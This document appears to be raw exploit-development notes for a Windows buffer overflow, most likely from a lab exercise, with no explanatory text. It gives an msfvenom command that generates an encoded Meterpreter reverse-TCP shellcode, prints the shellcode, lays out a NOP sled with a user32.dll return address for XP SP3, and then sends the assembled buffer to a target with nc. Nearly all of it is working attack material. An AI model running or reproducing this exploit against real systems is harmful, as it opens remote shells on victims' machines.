msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.

110 lport=6666 -e
x86/shikata_ga_nai -i 2 -a x86 --platform windows -b '\x00\x0a\x0d' -f c

\
xbb\xc6\x20\x37\x70\xdb\xca\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x5b\x31\x5a\x12\x83\xea
\xfc\x03\x9c\x2e\xd5\x85\xf9\xe5\xa2\xd0\x85\x45\x39\xc5\x01\x92\x36\xa9\xda\x13\x0
7\x02\x2d\xfb\x70\x28\xa2\xff\x82\x71\x9e\x9e\xcc\x9c\xfc\x42\x7c\x74\xb2\xfa\xba\x
86\x31\x7d\xe4\xc3\x86\x4f\x3f\xfd\xd7\x16\x41\x47\x93\xa6\xe8\x7a\xa6\x5d\x94\x65\
x26\x48\x67\x06\x2a\x51\xae\x8d\xef\x7c\x95\x88\x75\x9a\x5b\x45\x5a\xcb\xff\xa2\x0c
\xd9\x4a\x51\x86\x82\x08\x06\x2c\x06\x9e\x21\xa1\x1a\x71\x86\x17\xb0\xe8\x64\x2c\x2
a\xc5\xc1\x5d\x25\xe6\x49\x3f\x36\x89\x8f\xd0\x2a\x27\x72\x79\x36\xc3\x28\x21\x68\x
d3\x55\xfe\x97\x41\x5f\x7f\x1c\x9a\x47\x01\x85\x69\xeb\x71\x23\xf1\xdf\x19\xe5\x41\
x60\xb5\xd4\x2a\xe7\xe0\x68\x9d\xe4\x84\xaa\xe4\xf9\x92\x2e\x10\xba\x97\x4b\xbe\x4c
\x8c\xc5\x1e\x1c\x01\x59\x4c\xf3\xa6\x96\x16\x10\xd9\x7d\x08\xa2\xa0\x63\x4f\xfe\x6
c\xac\x12\xc3\xd1\x6b\xd2\x0f\x54\x67\xc5\xf3\x7a\xf5\x7e\x80\x53\x5d\x6f\x19\x16\x
fd\xc2\xa1\x63\x4a\x51\x2a\x8a\xcb\x70\x50\xe1\x15\xcb\x58\xd4\x2f\xe5\x7e\xe3\x8c\
x53\xa3\x1e\xf2\xf3\x2a\x7f\x3b\xca\xfd\x48\x94\x91\xa5\x10\xd1\x4b\x66\xb4\xa4\x1f
\x52\xe2\xef\xc6\xbc\x34\x29\x18\x76\xd6\xf5\x3b\xab\xfc\xbc\x0e\x1c\x20\x8f\x80\x4
b\xfb\x78\xe3\x65\xd8\xe0\x54\xef\x0b\x11\x68\xf4\x6a\xf9\x6c\x21\x83\x83\x73\x76\x
6c\xad\x22\x5e\x6a\x98\xf9\x10\xe6\xe8\x4c\xf4\xd1\x8f\x89\xe9\x12\xb2\x2b\x7e\x20\
xf7\x97\x84\x08\x19\xb2\x73\x1c\xeb\x9b\xe3\xa8\xad\x2d\x4f\x0b\x03\x8c\xe4\xdd\x99
\xa6\x1b\x37\x56\x81\x04\x04\x2a\x58\x65\xdd\xe7\xeb\xca\x19\x62\x44\x45\x5c\xce\x2
d\x41\x10\x52\x80\xb6\x49\x8b\x5b\x14\x94\xb9\xb4\x6f

-----------------------------------------------------------------------------------
------------------------

Structure:
32 \x90 NOP's
\x53\x93\x42\x7e user32.dll xp sp3
16 \x90 NOP's
PAYLOD

-----------------------------------------------------------------------------------
------------------------

echo -ne
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x53\x93\x42\x7e\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xbb\xc6\x20\x37\x70\xdb
\xca\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x5b\x31\x5a\x12\x83\xea\xfc\x03\x9c\x2e\xd5\x8
5\xf9\xe5\xa2\xd0\x85\x45\x39\xc5\x01\x92\x36\xa9\xda\x13\x07\x02\x2d\xfb\x70\x28\x
a2\xff\x82\x71\x9e\x9e\xcc\x9c\xfc\x42\x7c\x74\xb2\xfa\xba\x86\x31\x7d\xe4\xc3\x86\
x4f\x3f\xfd\xd7\x16\x41\x47\x93\xa6\xe8\x7a\xa6\x5d\x94\x65\x26\x48\x67\x06\x2a\x51
\xae\x8d\xef\x7c\x95\x88\x75\x9a\x5b\x45\x5a\xcb\xff\xa2\x0c\xd9\x4a\x51\x86\x82\x0
8\x06\x2c\x06\x9e\x21\xa1\x1a\x71\x86\x17\xb0\xe8\x64\x2c\x2a\xc5\xc1\x5d\x25\xe6\x
49\x3f\x36\x89\x8f\xd0\x2a\x27\x72\x79\x36\xc3\x28\x21\x68\xd3\x55\xfe\x97\x41\x5f\
x7f\x1c\x9a\x47\x01\x85\x69\xeb\x71\x23\xf1\xdf\x19\xe5\x41\x60\xb5\xd4\x2a\xe7\xe0
\x68\x9d\xe4\x84\xaa\xe4\xf9\x92\x2e\x10\xba\x97\x4b\xbe\x4c\x8c\xc5\x1e\x1c\x01\x5
9\x4c\xf3\xa6\x96\x16\x10\xd9\x7d\x08\xa2\xa0\x63\x4f\xfe\x6c\xac\x12\xc3\xd1\x6b\x
d2\x0f\x54\x67\xc5\xf3\x7a\xf5\x7e\x80\x53\x5d\x6f\x19\x16\xfd\xc2\xa1\x63\x4a\x51\
x2a\x8a\xcb\x70\x50\xe1\x15\xcb\x58\xd4\x2f\xe5\x7e\xe3\x8c\x53\xa3\x1e\xf2\xf3\x2a
\x7f\x3b\xca\xfd\x48\x94\x91\xa5\x10\xd1\x4b\x66\xb4\xa4\x1f\x52\xe2\xef\xc6\xbc\x3
4\x29\x18\x76\xd6\xf5\x3b\xab\xfc\xbc\x0e\x1c\x20\x8f\x80\x4b\xfb\x78\xe3\x65\xd8\x
e0\x54\xef\x0b\x11\x68\xf4\x6a\xf9\x6c\x21\x83\x83\x73\x76\x6c\xad\x22\x5e\x6a\x98\
xf9\x10\xe6\xe8\x4c\xf4\xd1\x8f\x89\xe9\x12\xb2\x2b\x7e\x20\xf7\x97\x84\x08\x19\xb2
\x73\x1c\xeb\x9b\xe3\xa8\xad\x2d\x4f\x0b\x03\x8c\xe4\xdd\x99\xa6\x1b\x37\x56\x81\x0
4\x04\x2a\x58\x65\xdd\xe7\xeb\xca\x19\x62\x44\x45\x5c\xce\x2d\x41\x10\x52\x80\xb6\x
49\x8b\x5b\x14\x94\xb9\xb4\x6f" | nc 192.168.1.109 7707
----------------------------------------